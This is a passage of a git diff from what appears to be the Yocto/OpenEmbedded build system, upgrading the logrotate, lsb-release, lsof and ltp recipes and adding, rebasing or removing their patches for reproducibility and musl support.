-From 16c1833ade4c036b30b8761d2c4a5bd85cc65c44 Mon Sep 17 00:00:00 2001
-From: Robert Yang <liezhi.yang@windriver.com>
-Date: Tue, 8 Jan 2019 06:27:06 +0000
-Subject: [PATCH] Disable the check for different filesystems
-
-The logrotate supports rotate log across different filesystems now, so
-disable the check for different filesystems.
-
-Upstream-Status: Pending
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
-
----
- config.c | 9 ---------
- 1 file changed, 9 deletions(-)
-
-diff --git a/config.c b/config.c
-index d2488f1..1de3745 100644
---- a/config.c
-+++ b/config.c
-@@ -1902,15 +1902,6 @@ duperror:
- }
-
- free(ld);
--
-- if (sb.st_dev != sb2.st_dev
-- && !(newlog->flags & (LOG_FLAG_COPYTRUNCATE | LOG_FLAG_COPY | LOG_FLAG_TMPFILENAME))) {
-- message(MESS_ERROR,
-- "%s:%d olddir %s and log file %s "
-- "are on different devices\n", configFile,
-- lineNum, newlog->oldDir, newlog->files[j]);
-- goto error;
-- }
- }
- }
-
diff --git a/meta/recipes-extended/logrotate/logrotate/run-ptest b/meta/recipes-extended/logrotate/logrotate/run-ptest
new file mode 100755
index 0000000000..b272def65f
--- /dev/null
+++ b/meta/recipes-extended/logrotate/logrotate/run-ptest
@@ -0,0 +1,5 @@
+#!/bin/sh
+
+set -u
+
+make -k check
diff --git a/meta/recipes-extended/logrotate/logrotate_3.17.0.bb b/meta/recipes-extended/logrotate/logrotate_3.21.0.bb
index 08001f38e5..10a6149abc 100644
--- a/meta/recipes-extended/logrotate/logrotate_3.17.0.bb
+++ b/meta/recipes-extended/logrotate/logrotate_3.21.0.bb
@@ -1,7 +1,8 @@
SUMMARY = "Rotates, compresses, removes and mails system log files"
SECTION = "console/utils"
-HOMEPAGE = "https://github.com/logrotate/logrotate/issues"
-LICENSE = "GPLv2"
+HOMEPAGE = "https://github.com/logrotate/logrotate/"
+DESCRIPTION = "The logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files."
+LICENSE = "GPL-2.0-only"
# TODO: Document coreutils dependency. Why not RDEPENDS? Why not busybox?
@@ -9,23 +10,22 @@ DEPENDS="coreutils popt"
LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-UPSTREAM_CHECK_URI = "https://github.com/${BPN}/${BPN}/releases"
-UPSTREAM_CHECK_REGEX = "logrotate-(?P<pver>\d+(\.\d+)+).tar"
+SRC_URI = "${GITHUB_BASE_URI}/download/${PV}/${BP}.tar.xz \
+ file://run-ptest \
+ "
-SRC_URI = "https://github.com/${BPN}/${BPN}/releases/download/${PV}/${BP}.tar.xz \
- file://act-as-mv-when-rotate.patch \
- file://0001-Update-the-manual.patch \
- file://disable-check-different-filesystems.patch \
- "
+SRC_URI[sha256sum] = "8fa12015e3b8415c121fc9c0ca53aa872f7b0702f543afda7e32b6c4900f6516"
-SRC_URI[sha256sum] = "58cc2178ff57faa3c0490181cce041345aeca6cff18dba1c5cd1398bf1c19294"
+CVE_STATUS_GROUPS = "CVE_STATUS_RECIPE"
+CVE_STATUS_RECIPE = "CVE-2011-1548 CVE-2011-1549 CVE-2011-1550"
+CVE_STATUS_RECIPE[status] = "not-applicable-platform: CVE is debian, gentoo or SUSE specific on the way logrotate was installed/used"
PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'acl selinux', d)}"
PACKAGECONFIG[acl] = ",,acl"
PACKAGECONFIG[selinux] = ",,libselinux"
-CONFFILES_${PN} += "${localstatedir}/lib/logrotate.status \
+CONFFILES:${PN} += "${localstatedir}/lib/logrotate.status \
${sysconfdir}/logrotate.conf \
${sysconfdir}/logrotate.d/btmp \
${sysconfdir}/logrotate.d/wtmp"
@@ -47,9 +47,9 @@ EXTRA_OEMAKE = "\
# INSTALL=install and BASEDIR=/usr.
OS_NAME = "Linux"
-inherit autotools systemd
+inherit autotools systemd github-releases ptest
-SYSTEMD_SERVICE_${PN} = "\
+SYSTEMD_SERVICE:${PN} = "\
${BPN}.service \
${BPN}.timer \
"
@@ -67,7 +67,6 @@ do_install(){
install -p -m 644 ${S}/examples/logrotate.conf ${D}${sysconfdir}/logrotate.conf
install -p -m 644 ${S}/examples/btmp ${D}${sysconfdir}/logrotate.d/btmp
install -p -m 644 ${S}/examples/wtmp ${D}${sysconfdir}/logrotate.d/wtmp
- touch ${D}${localstatedir}/lib/logrotate.status
if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
install -d ${D}${systemd_system_unitdir}
@@ -89,3 +88,27 @@ do_install(){
install -p -m 0755 ${S}/examples/logrotate.cron ${D}${sysconfdir}/cron.daily/logrotate
fi
}
+
+do_install_ptest() {
+ cp -r ${S}/test/* ${D}${PTEST_PATH}
+ cp ${S}/test-driver ${D}${PTEST_PATH}
+ cp ${B}/test/Makefile ${D}${PTEST_PATH}
+
+ # Do not rebuild Makefile
+ sed -i 's/^Makefile:/_Makefile:/' ${D}${PTEST_PATH}/Makefile
+
+ # Fix top_builddir and top_srcdir
+ sed -e 's/^top_builddir = \(.*\)/top_builddir = ./' \
+ -e 's/^top_srcdir = \(.*\)/top_srcdir = ./' \
+ -i ${D}${PTEST_PATH}/Makefile
+
+ # Replace bash with sh
+ sed -i 's,/bin/bash,/bin/sh,' ${D}${PTEST_PATH}/Makefile
+
+ # Replace gawk with awk
+ sed -i 's/gawk/awk/' ${D}${PTEST_PATH}/Makefile
+ ln -s ${sbindir}/logrotate ${D}${PTEST_PATH}
+}
+
+# coreutils is needed to have "readlink"
+RDEPENDS:${PN}-ptest += "make coreutils"
diff --git a/meta/recipes-extended/lsb/lsb-release/help2man-reproducibility.patch b/meta/recipes-extended/lsb/lsb-release/help2man-reproducibility.patch
new file mode 100644
index 0000000000..f32cd18370
--- /dev/null
+++ b/meta/recipes-extended/lsb/lsb-release/help2man-reproducibility.patch
@@ -0,0 +1,27 @@
+lsb-release maintains it's own copy of help2man. Include the support
+for specifying SOURCE_DATE_EPOCH from upstream.
+
+Upstream-Status: Pending
+
+Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
+
+diff --git a/help2man b/help2man
+index 13015c2..63439db 100755
+--- a/help2man
++++ b/help2man
+@@ -173,7 +173,14 @@ my ($help_text, $version_text) = map {
+ or die "$this_program: can't get `--$_' info from $ARGV[0]\n"
+ } qw(help), $opt_version_key;
+
+-my $date = strftime "%B %Y", localtime;
++my $epoch_secs = time;
++if (exists $ENV{SOURCE_DATE_EPOCH} and $ENV{SOURCE_DATE_EPOCH} =~ /^(\d+)$/)
++{
++ $epoch_secs = $1;
++ $ENV{TZ} = 'UTC0';
++}
++
++my $date = strftime "%B %Y", localtime $epoch_secs;
+ (my $program = $ARGV[0]) =~ s!.*/!!;
+ my $package = $program;
+ my $version;
diff --git a/meta/recipes-extended/lsb/lsb-release_1.4.bb b/meta/recipes-extended/lsb/lsb-release_1.4.bb
index a06cbcf845..00d8183a4f 100644
--- a/meta/recipes-extended/lsb/lsb-release_1.4.bb
+++ b/meta/recipes-extended/lsb/lsb-release_1.4.bb
@@ -1,22 +1,22 @@
SUMMARY = "lsb_release support for OpenEmbedded"
SECTION = "console/utils"
-HOMEPAGE = "http://prdownloads.sourceforge.net/lsb"
-LICENSE = "GPLv2+"
+HOMEPAGE = "https://sourceforge.net/projects/lsb/files"
+LICENSE = "GPL-2.0-or-later"
# lsb_release needs getopt
-RDEPENDS_${PN} += "${VIRTUAL-RUNTIME_getopt}"
+RDEPENDS:${PN} += "${VIRTUAL-RUNTIME_getopt}"
LIC_FILES_CHKSUM = "file://README;md5=12da544b1a3a5a1795a21160b49471cf"
SRC_URI = "${SOURCEFORGE_MIRROR}/project/lsb/lsb_release/1.4/lsb-release-1.4.tar.gz \
file://0001-fix-lsb_release-to-work-with-busybox-head-and-find.patch \
file://0001-Remove-timestamp-from-manpage.patch \
+ file://help2man-reproducibility.patch \
"
-SRC_URI[md5sum] = "30537ef5a01e0ca94b7b8eb6a36bb1e4"
SRC_URI[sha256sum] = "99321288f8d62e7a1d485b7c6bdccf06766fb8ca603c6195806e4457fdf17172"
-UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/lsb/files/lsb_release/"
+UPSTREAM_CHECK_URI = "https://sourceforge.net/projects/lsb/files/lsb_release/"
UPSTREAM_CHECK_REGEX = "/lsb_release/(?P<pver>(\d+[\.\-_]*)+)/"
CLEANBROKEN = "1"
@@ -34,4 +34,4 @@ do_install() {
echo "DISTRIB_DESCRIPTION=\"${DISTRO_NAME} ${DISTRO_VERSION}\"" >> ${D}${sysconfdir}/lsb-release
}
-FILES_${PN} += "${base_libdir}"
+FILES:${PN} += "${base_libdir}"
diff --git a/meta/recipes-extended/lsof/files/lsof-remove-host-information.patch b/meta/recipes-extended/lsof/files/lsof-remove-host-information.patch
deleted file mode 100644
index b7d2323dc9..0000000000
--- a/meta/recipes-extended/lsof/files/lsof-remove-host-information.patch
+++ /dev/null
@@ -1,76 +0,0 @@
-Remove host information from version.h
-
-make lsof not include host information
-
-Upstream-Status: Inappropriate [embedded specific]
-
-Signed-off-by: Li Wang <li.wang@windriver.com>
----
- dialects/linux/Makefile | 50 +++++++++--------------------------------------
- 1 file changed, 9 insertions(+), 41 deletions(-)
-
-diff --git a/dialects/linux/Makefile b/dialects/linux/Makefile
-index 2bea108..792142b 100644
---- a/dialects/linux/Makefile
-+++ b/dialects/linux/Makefile
-@@ -76,48 +76,16 @@ version.h: FRC
- @echo Constructing version.h
- @rm -f version.h
- @echo '#define LSOF_BLDCMT "${LSOF_BLDCMT}"' > version.h;
-- @echo '#define LSOF_CC "${CC}"' >> version.h
-- @echo '#define LSOF_CCV "${CCV}"' >> version.h
-- @echo '#define LSOF_CCDATE "'`date`'"' >> version.h
-- @echo '#define LSOF_CCFLAGS "'`echo ${CFLAGS} | sed 's/\\\\(/\\(/g' | sed 's/\\\\)/\\)/g' | sed 's/"/\\\\"/g'`'"' >> version.h
-+ @echo '#define LSOF_CC ""' >> version.h
-+ @echo '#define LSOF_CCV ""' >> version.h
-+ @echo '#define LSOF_CCDATE ""' >> version.h
-+ @echo '#define LSOF_CCFLAGS ""' >> version.h
- @echo '#define LSOF_CINFO "${CINFO}"' >> version.h
-- @if [ "X${LSOF_HOST}" = "X" ]; then \
-- echo '#define LSOF_HOST "'`uname -n`'"' >> version.h; \
-- else \
-- if [ "${LSOF_HOST}" = "none" ]; then \
-- echo '#define LSOF_HOST ""' >> version.h; \
-- else \
-- echo '#define LSOF_HOST "${LSOF_HOST}"' >> version.h; \
-- fi \
-- fi
-- @echo '#define LSOF_LDFLAGS "${CFGL}"' >> version.h
-- @if [ "X${LSOF_LOGNAME}" = "X" ]; then \
-- echo '#define LSOF_LOGNAME "${LOGNAME}"' >> version.h; \
-- else \
-- if [ "${LSOF_LOGNAME}" = "none" ]; then \
-- echo '#define LSOF_LOGNAME ""' >> version.h; \
-- else \
-- echo '#define LSOF_LOGNAME "${LSOF_LOGNAME}"' >> version.h; \
-- fi; \
-- fi
-- @if [ "X${LSOF_SYSINFO}" = "X" ]; then \
-- echo '#define LSOF_SYSINFO "'`uname -a`'"' >> version.h; \
-- else \
-- if [ "${LSOF_SYSINFO}" = "none" ]; then \
-- echo '#define LSOF_SYSINFO ""' >> version.h; \
-- else \
-- echo '#define LSOF_SYSINFO "${LSOF_SYSINFO}"' >> version.h; \
-- fi \
-- fi
-- @if [ "X${LSOF_USER}" = "X" ]; then \
-- echo '#define LSOF_USER "${USER}"' >> version.h; \
-- else \
-- if [ "${LSOF_USER}" = "none" ]; then \
-- echo '#define LSOF_USER ""' >> version.h; \
-- else \
-- echo '#define LSOF_USER "${LSOF_USER}"' >> version.h; \
-- fi \
-- fi
-+ @echo '#define LSOF_HOST ""' >> version.h;
-+ @echo '#define LSOF_LDFLAGS ""' >> version.h
-+ @echo '#define LSOF_LOGNAME ""' >> version.h;
-+ @echo '#define LSOF_SYSINFO ""' >> version.h;
-+ @echo '#define LSOF_USER ""' >> version.h;
- @sed '/VN/s/.ds VN \(.*\)/#define LSOF_VERSION "\1"/' < version >> version.h
-
- FRC:
---
-1.7.9.5
-
diff --git a/meta/recipes-extended/lsof/files/remove-host-information.patch b/meta/recipes-extended/lsof/files/remove-host-information.patch
new file mode 100644
index 0000000000..1f2b4afa69
--- /dev/null
+++ b/meta/recipes-extended/lsof/files/remove-host-information.patch
@@ -0,0 +1,123 @@
+From 4f05492ac07a7bbaf06dd8265b9cba329e1b53e9 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@arm.com>
+Date: Wed, 30 Aug 2017 15:05:16 +0800
+Subject: [PATCH] lsof: remove host information from version.h
+
+lsof doesn't embed the username or hostname in the build if SOURCE_DATE_EPOCH is
+defined, but this still embeds build paths. Delete all of the host details to
+ensure that no host information is leaked into the binary.
+
+Upstream-Status: Inappropriate
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ autotools/version.h.in | 16 ++++-----
+ lib/dialects/linux/Makefile | 69 ++++++-------------------------------
+ 2 files changed, 19 insertions(+), 66 deletions(-)
+
+diff --git a/autotools/version.h.in b/autotools/version.h.in
+index aac0b80..2e635a5 100644
+--- a/autotools/version.h.in
++++ b/autotools/version.h.in
+@@ -37,13 +37,13 @@
+
+ #include "config.h"
+ #define LSOF_VERSION PACKAGE_VERSION
+-#define LSOF_HOST "@host@"
+-#define LSOF_LOGNAME "@logname@"
+-#define LSOF_USER "@user@"
+-#define LSOF_CC "@cc@"
+-#define LSOF_CCV "@ccv@"
+-#define LSOF_CCFLAGS "@ccflags@"
+-#define LSOF_LDFLAGS "@ldflags@"
+-#define LSOF_SYSINFO "@sysinfo@"
++#define LSOF_HOST ""
++#define LSOF_LOGNAME ""
++#define LSOF_USER ""
++#define LSOF_CC ""
++#define LSOF_CCV ""
++#define LSOF_CCFLAGS ""
++#define LSOF_LDFLAGS ""
++#define LSOF_SYSINFO ""
+
+ #endif
+diff --git a/lib/dialects/linux/Makefile b/lib/dialects/linux/Makefile
+index f8adaa6..7a79ca7 100644
+--- a/lib/dialects/linux/Makefile
++++ b/lib/dialects/linux/Makefile
+@@ -83,64 +83,17 @@ ${LIB}: FRC
+ version.h: FRC
+ @echo Constructing version.h
+ @rm -f version.h
+- @echo '#define LSOF_BLDCMT "${LSOF_BLDCMT}"' > version.h;
+- @echo '#define LSOF_CC "${CC}"' >> version.h
+- @echo '#define LSOF_CCV "${CCV}"' >> version.h
+- @echo '#define LSOF_CCFLAGS "'`echo ${CFLAGS} | sed 's/\\\\(/\\(/g' | sed 's/\\\\)/\\)/g' | sed 's/"/\\\\"/g'`'"' >> version.h
+- @echo '#define LSOF_CINFO "${CINFO}"' >> version.h
+- @if [ "X${LSOF_HOST}" = "X" ]; then \
+- if [ "X${SOURCE_DATE_EPOCH}" = "X" ]; then \
+- echo '#define LSOF_HOST "'`uname -n`'"' >> version.h; \
+- else \
+- echo '#define LSOF_HOST ""' >> version.h; \
+- fi \
+- else \
+- if [ "${LSOF_HOST}" = "none" ]; then \
+- echo '#define LSOF_HOST ""' >> version.h; \
+- else \
+- echo '#define LSOF_HOST "${LSOF_HOST}"' >> version.h; \
+- fi \
+- fi
+- @echo '#define LSOF_LDFLAGS "${CFGL}"' >> version.h
+- @if [ "X${LSOF_LOGNAME}" = "X" ]; then \
+- if [ "X${SOURCE_DATE_EPOCH}" = "X" ]; then \
+- echo '#define LSOF_LOGNAME "${LOGNAME}"' >> version.h; \
+- else \
+- echo '#define LSOF_LOGNAME ""' >> version.h; \
+- fi \
+- else \
+- if [ "${LSOF_LOGNAME}" = "none" ]; then \
+- echo '#define LSOF_LOGNAME ""' >> version.h; \
+- else \
+- echo '#define LSOF_LOGNAME "${LSOF_LOGNAME}"' >> version.h; \
+- fi; \
+- fi
+- @if [ "X${LSOF_SYSINFO}" = "X" ]; then \
+- if [ "X${SOURCE_DATE_EPOCH}" = "X" ]; then \
+- echo '#define LSOF_SYSINFO "'`uname -a`'"' >> version.h; \
+- else \
+- echo '#define LSOF_SYSINFO ""' >> version.h; \
+- fi \
+- else \
+- if [ "${LSOF_SYSINFO}" = "none" ]; then \
+- echo '#define LSOF_SYSINFO ""' >> version.h; \
+- else \
+- echo '#define LSOF_SYSINFO "${LSOF_SYSINFO}"' >> version.h; \
+- fi \
+- fi
+- @if [ "X${LSOF_USER}" = "X" ]; then \
+- if [ "X${SOURCE_DATE_EPOCH}" = "X" ]; then \
+- echo '#define LSOF_USER "${USER}"' >> version.h; \
+- else \
+- echo '#define LSOF_USER ""' >> version.h; \
+- fi \
+- else \
+- if [ "${LSOF_USER}" = "none" ]; then \
+- echo '#define LSOF_USER ""' >> version.h; \
+- else \
+- echo '#define LSOF_USER "${LSOF_USER}"' >> version.h; \
+- fi \
+- fi
++
++ @echo '#define LSOF_BLDCMT ""' > version.h;
++ @echo '#define LSOF_CC ""' >> version.h
++ @echo '#define LSOF_CCV ""' >> version.h
++ @echo '#define LSOF_CCFLAGS ""' >> version.h
++ @echo '#define LSOF_CINFO ""' >> version.h
++ @echo '#define LSOF_HOST ""' >> version.h
++ @echo '#define LSOF_LDFLAGS ""' >> version.h
++ @echo '#define LSOF_LOGNAME ""' >> version.h
++ @echo '#define LSOF_SYSINFO ""' >> version.h
++ @echo '#define LSOF_USER ""' >> version.h
+ @sed '/VN/s/.ds VN \(.*\)/#define LSOF_VERSION "\1"/' < version >> version.h
+
+ FRC:
diff --git a/meta/recipes-extended/lsof/lsof_4.91.bb b/meta/recipes-extended/lsof/lsof_4.91.bb
deleted file mode 100644
index b3adfd57af..0000000000
--- a/meta/recipes-extended/lsof/lsof_4.91.bb
+++ /dev/null
@@ -1,63 +0,0 @@
-SUMMARY = "LiSt Open Files tool"
-DESCRIPTION = "Lsof is a Unix-specific diagnostic tool. \
-Its name stands for LiSt Open Files, and it does just that."
-HOMEPAGE = "http://people.freebsd.org/~abe/"
-SECTION = "devel"
-LICENSE = "BSD"
-LIC_FILES_CHKSUM = "file://00README;beginline=645;endline=679;md5=964df275d26429ba3b39dbb9f205172a"
-
-# Upstream lsof releases are hosted on an ftp server which times out download
-# attempts from hosts for which it can not perform a DNS reverse-lookup (See:
-# https://people.freebsd.org/~abe/ ). http://www.mirrorservice.org seems to be
-# the most commonly used alternative.
-
-SRC_URI = "http://www.mirrorservice.org/sites/lsof.itap.purdue.edu/pub/tools/unix/lsof/lsof_${PV}.tar.bz2 \
- file://lsof-remove-host-information.patch \
- "
-
-SRC_URI[md5sum] = "148ed410cb52e08c2adc0c60f480f11f"
-SRC_URI[sha256sum] = "c9da946a525fbf82ff80090b6d1879c38df090556f3fe0e6d782cb44172450a3"
-
-LOCALSRC = "file://${WORKDIR}/lsof_${PV}/lsof_${PV}_src.tar"
-
-S = "${WORKDIR}/lsof_${PV}_src"
-
-python do_unpack () {
- if not bb.data.inherits_class('externalsrc', d) or not d.getVar('EXTERNALSRC'):
- # temporarily change S for unpack of lsof_${PV}
- s = d.getVar('S', False)
- d.setVar('S', '${WORKDIR}/lsof_${PV}')
- bb.build.exec_func('base_do_unpack', d)
- # temporarily change SRC_URI for unpack of lsof_${PV}_src
- src_uri = d.getVar('SRC_URI', False)
- d.setVar('SRC_URI', '${LOCALSRC}')
- d.setVar('S', s)
- bb.build.exec_func('base_do_unpack', d)
- d.setVar('SRC_URI', src_uri)
-}
-
-export LSOF_INCLUDE = "${STAGING_INCDIR}"
-
-do_configure () {
- export LSOF_AR="${AR} cr"
- export LSOF_RANLIB="${RANLIB}"
- if [ "x${GLIBCVERSION}" != "x" ]; then
- LINUX_CLIB=`echo ${GLIBCVERSION} |sed -e 's,\.,,g'`
- LINUX_CLIB="-DGLIBCV=${LINUX_CLIB}"
- export LINUX_CLIB
- fi
- yes | ./Configure linux
-}
-
-export I = "${STAGING_INCDIR}"
-export L = "${STAGING_INCDIR}"
-
-do_compile () {
- oe_runmake 'CC=${CC}' 'CFGL=${LDFLAGS} -L./lib -llsof' 'DEBUG=' 'INCL=${CFLAGS}'
-}
-
-do_install () {
- install -d ${D}${sbindir} ${D}${mandir}/man8
- install -m 0755 lsof ${D}${sbindir}/lsof
- install -m 0644 lsof.8 ${D}${mandir}/man8/lsof.8
-}
diff --git a/meta/recipes-extended/lsof/lsof_4.99.3.bb b/meta/recipes-extended/lsof/lsof_4.99.3.bb
new file mode 100644
index 0000000000..93e91fb427
--- /dev/null
+++ b/meta/recipes-extended/lsof/lsof_4.99.3.bb
@@ -0,0 +1,23 @@
+SUMMARY = "LiSt Open Files tool"
+DESCRIPTION = "Lsof is a Unix-specific diagnostic tool. \
+Its name stands for LiSt Open Files, and it does just that."
+HOMEPAGE = "http://people.freebsd.org/~abe/"
+SECTION = "devel"
+LICENSE = "Spencer-94"
+LIC_FILES_CHKSUM = "file://COPYING;md5=a48ac97a8550eff12395a2c0d6151510"
+
+SRC_URI = "git://github.com/lsof-org/lsof;branch=master;protocol=https \
+ file://remove-host-information.patch"
+SRCREV = "2e4c7a1a9bc7258dc5b6a3ab28ebca44174279a8"
+
+S = "${WORKDIR}/git"
+
+inherit update-alternatives autotools pkgconfig manpages
+PACKAGECONFIG[manpages] = ""
+
+DEPENDS += "groff-native"
+
+ALTERNATIVE:${PN} = "lsof"
+ALTERNATIVE_LINK_NAME[lsof] = "${bindir}/lsof"
+# Make our priority higher than busybox
+ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-extended/ltp/ltp/0001-Add-more-musl-exclusions.patch b/meta/recipes-extended/ltp/ltp/0001-Add-more-musl-exclusions.patch
deleted file mode 100644
index f2fc8ee958..0000000000
--- a/meta/recipes-extended/ltp/ltp/0001-Add-more-musl-exclusions.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From ad8e73306cb8293f7d32841e1599fd9048801f1f Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 20 Dec 2019 13:06:05 +0100
-Subject: [PATCH] Add more musl exclusions
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-[ pvorel: rebase for 20200515: enable accept4_01 ]
-[ pvorel: rebase for 20200120: enable fanotify13, fanotify15, setxattr03 ]
-Signed-off-by: Petr Vorel <petr.vorel@gmail.com>
----
- testcases/kernel/syscalls/timer_create/Makefile | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/testcases/kernel/syscalls/timer_create/Makefile b/testcases/kernel/syscalls/timer_create/Makefile
-index ada241fe1..d454b01e7 100644
---- a/testcases/kernel/syscalls/timer_create/Makefile
-+++ b/testcases/kernel/syscalls/timer_create/Makefile
-@@ -5,6 +5,10 @@ top_srcdir ?= ../../../..
-
- include $(top_srcdir)/include/mk/testcases.mk
-
-+ifeq ($(LIBC),musl)
-+FILTER_OUT_MAKE_TARGETS := timer_create01 timer_create03
-+endif
-+
- CPPFLAGS += -D_GNU_SOURCE -I$(abs_srcdir)/../include
-
- LDLIBS += -lpthread -lrt
---
-2.26.2
-
diff --git a/meta/recipes-extended/ltp/ltp/0001-Remove-OOM-tests-from-runtest-mm.patch b/meta/recipes-extended/ltp/ltp/0001-Remove-OOM-tests-from-runtest-mm.patch
index 6b665030c3..cc98079651 100644
--- a/meta/recipes-extended/ltp/ltp/0001-Remove-OOM-tests-from-runtest-mm.patch
+++ b/meta/recipes-extended/ltp/ltp/0001-Remove-OOM-tests-from-runtest-mm.patch
@@ -1,4 +1,4 @@
-From 13ef88cdccfe3f58c53d57806866b91e310eb272 Mon Sep 17 00:00:00 2001
+From e87c2ad1e16cdbd62ba71b2ace3270503decaa56 Mon Sep 17 00:00:00 2001
From: "Mingde (Matthew) Zeng" <matthewzmd@gmail.com>
Date: Wed, 29 Jul 2020 08:47:09 -0400
Subject: [PATCH] Remove OOM tests from runtest/mm
@@ -7,19 +7,20 @@ Disable OOM tests, as they might cause oeqa ssh connection lost
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Mingde (Matthew) Zeng <matthew.zeng@windriver.com>
-
+[ pvorel: rebased for 20210927 ]
+Signed-off-by: Petr Vorel <petr.vorel@gmail.com>
---
runtest/mm | 6 ------
1 file changed, 6 deletions(-)
diff --git a/runtest/mm b/runtest/mm
-index a09f39c1e..76fa82754 100644
+index d859b331c..3c2962f44 100644
--- a/runtest/mm
+++ b/runtest/mm
-@@ -73,12 +73,6 @@ ksm06 ksm06
- ksm06_1 ksm06 -n 10
- ksm06_2 ksm06 -n 10000
-
+@@ -74,12 +74,6 @@ ksm07 ksm07
+
+ cpuset01 cpuset01
+
-oom01 oom01
-oom02 oom02
-oom03 oom03
@@ -27,8 +28,8 @@ index a09f39c1e..76fa82754 100644
-oom05 oom05
-
swapping01 swapping01 -i 5
-
+
thp01 thp01 -I 120
---
-2.27.0
+--
+2.43.0
diff --git a/meta/recipes-extended/ltp/ltp/0001-build-Add-option-to-select-libc-implementation.patch b/meta/recipes-extended/ltp/ltp/0001-build-Add-option-to-select-libc-implementation.patch
deleted file mode 100644
index 29b2bf7e41..0000000000
--- a/meta/recipes-extended/ltp/ltp/0001-build-Add-option-to-select-libc-implementation.patch
+++ /dev/null
@@ -1,81 +0,0 @@
-From 74958c3e341de713b596c8cfd35b2391d6c7bc09 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 7 Jan 2016 18:19:03 +0000
-Subject: [PATCH] build: Add option to select libc implementation
-
-There are more than glibc for C library implementation available on
-linux now a days, uclibc cloaked like glibc but musl e.g. is very
-different and does not implement all GNU extensions.
-
-Disable tests specifically not building _yet_ on musl based systems
-
-Upstream-Status: Pending (pvorel: this is not going to be fixed, instead
-each test needs to be fixed)
-
-rt_tgsigqueueinfo fails with:
-rt_tgsigqueueinfo01.c: In function 'sigusr1_handler':
-rt_tgsigqueueinfo01.c:42:22: error: 'siginfo_t' {aka 'struct <anonymous>'} has no member named '_sifields'; did you mean '__si_fields'?
- 42 | sigval_rcv = uinfo->_sifields._rt.SI_SIGVAL.sival_ptr;
- | ^~~~~~~~~
- | __si_fields
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-[ pvorel: rebase for 20200515: enable pty, ioctl ]
-[ pvorel: rebase for 20200120: enable mallopt, profil, rpc016,
-rt_sigsuspend, sbrk_mutex, setdomainname, sethostname, sigsuspend,
-testpi-3, testpi-5, testpi-6, ustat; move rt_tgsigqueueinfo
-from 0006-rt_tgsigqueueinfo-disable-test-on-musl.patch ]
-Signed-off-by: Petr Vorel <petr.vorel@gmail.com>
----
- Makefile | 5 +++++
- testcases/kernel/sched/Makefile | 4 +++-
- testcases/kernel/syscalls/Makefile | 4 ++++
- 3 files changed, 12 insertions(+), 1 deletion(-)
-
-diff --git a/Makefile b/Makefile
-index 768ca4606..e9d679a71 100644
---- a/Makefile
-+++ b/Makefile
-@@ -41,6 +41,11 @@ vpath %.mk $(top_srcdir)/mk:$(top_srcdir)/mk/include
- UCLINUX ?= 0
- export UCLINUX
-
-+# System C library implementation (glibc,uclibc,musl etc.)
-+# default to glibc if not set
-+LIBC ?= glibc
-+export LIBC
-+
- # CLEAN_TARGETS: Targets which exist solely in clean.
- # COMMON_TARGETS: Targets which exist in all, clean, and install.
- # INSTALL_TARGETS: Targets which exist in clean and install (contains
-diff --git a/testcases/kernel/sched/Makefile b/testcases/kernel/sched/Makefile
-index 6a57d79ee..74bb93370 100644
---- a/testcases/kernel/sched/Makefile
-+++ b/testcases/kernel/sched/Makefile
-@@ -23,5 +23,7 @@
- top_srcdir ?= ../../..
-
- include $(top_srcdir)/include/mk/env_pre.mk
--
-+ifeq ($(LIBC),musl)
-+ FILTER_OUT_DIRS += process_stress
-+endif
- include $(top_srcdir)/include/mk/generic_trunk_target.mk
-diff --git a/testcases/kernel/syscalls/Makefile b/testcases/kernel/syscalls/Makefile
-index c6dc8d9e7..aa50761ea 100644
---- a/testcases/kernel/syscalls/Makefile
-+++ b/testcases/kernel/syscalls/Makefile
-@@ -15,6 +15,10 @@ FILTER_OUT_DIRS += capget capset chmod chown clone fork getcontext llseek \
- mincore mprotect nftw profil remap_file_pages sbrk
- endif
-
-+ifeq ($(LIBC),musl)
-+FILTER_OUT_DIRS += confstr fmtmsg getcontext rt_tgsigqueueinfo
-+endif
-+
- ifeq ($(UCLIBC),1)
- FILTER_OUT_DIRS += profil
- endif
---
-2.26.2
-
diff --git a/meta/recipes-extended/ltp/ltp/0001-ptrace01-Fix-missing-format-string.patch b/meta/recipes-extended/ltp/ltp/0001-ptrace01-Fix-missing-format-string.patch
deleted file mode 100644
index 27b890e22b..0000000000
--- a/meta/recipes-extended/ltp/ltp/0001-ptrace01-Fix-missing-format-string.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From adb9587466a493fdd9d4410f1b8b130ebca06daa Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 19 May 2020 22:21:23 -0700
-Subject: [PATCH] ptrace01: Fix missing format string
-
-Fixes
-| ptrace01.c:89:2: error: format string is not a string literal
-(potentially insecure) [-Werror,-Wformat-security]
-| tst_res(TINFO, tc->message);
-| ^ ~~~~~~~~~~~
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Backport [58424835952641f4fd60c0ae3ab6c64decca3f8a]
----
- testcases/kernel/syscalls/ptrace/ptrace01.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/testcases/kernel/syscalls/ptrace/ptrace01.c b/testcases/kernel/syscalls/ptrace/ptrace01.c
-index 87a99e4150..9071bbabaf 100644
---- a/testcases/kernel/syscalls/ptrace/ptrace01.c
